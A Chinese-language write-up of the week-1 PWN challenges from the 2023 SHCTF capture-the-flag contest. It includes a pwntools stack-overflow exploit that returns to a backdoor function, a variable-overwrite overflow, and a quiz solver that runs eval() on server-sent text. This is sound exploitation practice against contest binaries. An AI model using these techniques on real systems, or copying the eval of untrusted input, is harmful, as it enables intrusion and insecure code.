2023 SHCTF-校外赛道 PWN WP
WEEK1
nc
连接靶机直接梭
hard nc
同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中
利用ls -a查看所有文件,查看.gift,可以得到前半段
然后再ls gift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,可以得到一串base64
cd gift2
ls
flag2
cat flag2
ZTQtYTMyNi1jOThjYzJjZmRkYzh9Cg==
口算题
要答对200题才行,肯定得用脚本。。。。
exp:
from pwn import *
host = ''
post =
GeShi = b'Press Enter to start...' # 改格式!
sh = remote(host,post)
sh.sendline("")
data = sh.recvuntil(GeShi).decode()
for i in range(200):
data1 = sh.recvuntil(b'=').decode()
print(data1)
a = data1.split("\n")[-1].split('=')[0]
print("a:",a)
if "÷" in a:
a = a.replace("÷","/")
if "×" in a:
a = a.replace("×","*")
print(eval(a))
sh.sendline(str(eval(a)).encode())
print(sh.recvline())
print(sh.recvline())
print(sh.recvline())
print(sh.recvall())
showshowway
题目要求y
和p
相等,寻找一下p
和y
,发现p = showshowway
而y
是一个大小为32的字符数组
往上划发现,传入的值存在s
中,地址从06010C0
截至到06010FF
,长度为64(测试过了一个字符a
占地址为1),而y
的地址紧接着s
,说明我们传入的第65个值会存入y
所以我们只要输入64个a
+showshowway
,即可让y
和p
相等。。。。
四则计算器
IDA发现有后面函数backdoor()
查看backdoor()
的地址为0x4015E4
利用gets()
函数不检查输入函数,所以存在栈溢出漏洞,再利用strlen()
会被\x00
截断
构造pyload:
from pwn import *
context(os='linux',arch='amd64',log_level= 'debug')
sh = remote("IP",端口号)
backdoor = 0x4015E4
pad = 0x32 + 8
payload = b'\x00' + b'A'*(pad-1) + p64(backdoor)
sh.sendline(payload)
sh.interactive()